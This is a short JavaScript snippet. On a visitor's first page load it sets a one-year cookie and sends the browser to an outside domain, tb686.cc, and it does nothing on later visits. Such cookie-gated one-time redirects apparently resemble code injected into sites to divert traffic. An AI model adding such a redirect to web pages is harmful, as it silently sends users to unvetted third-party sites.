var c = document.cookie;
     if (c.indexOf('isfirstvisited=false') != -1) {
        
     }
     else {
         var d = new Date();
         d.setFullYear(d.getFullYear() + 1);
         document.cookie = 'isfirstvisited=false;expires=' + d.toGMTString();
         location = 'https://tb686.cc'
     }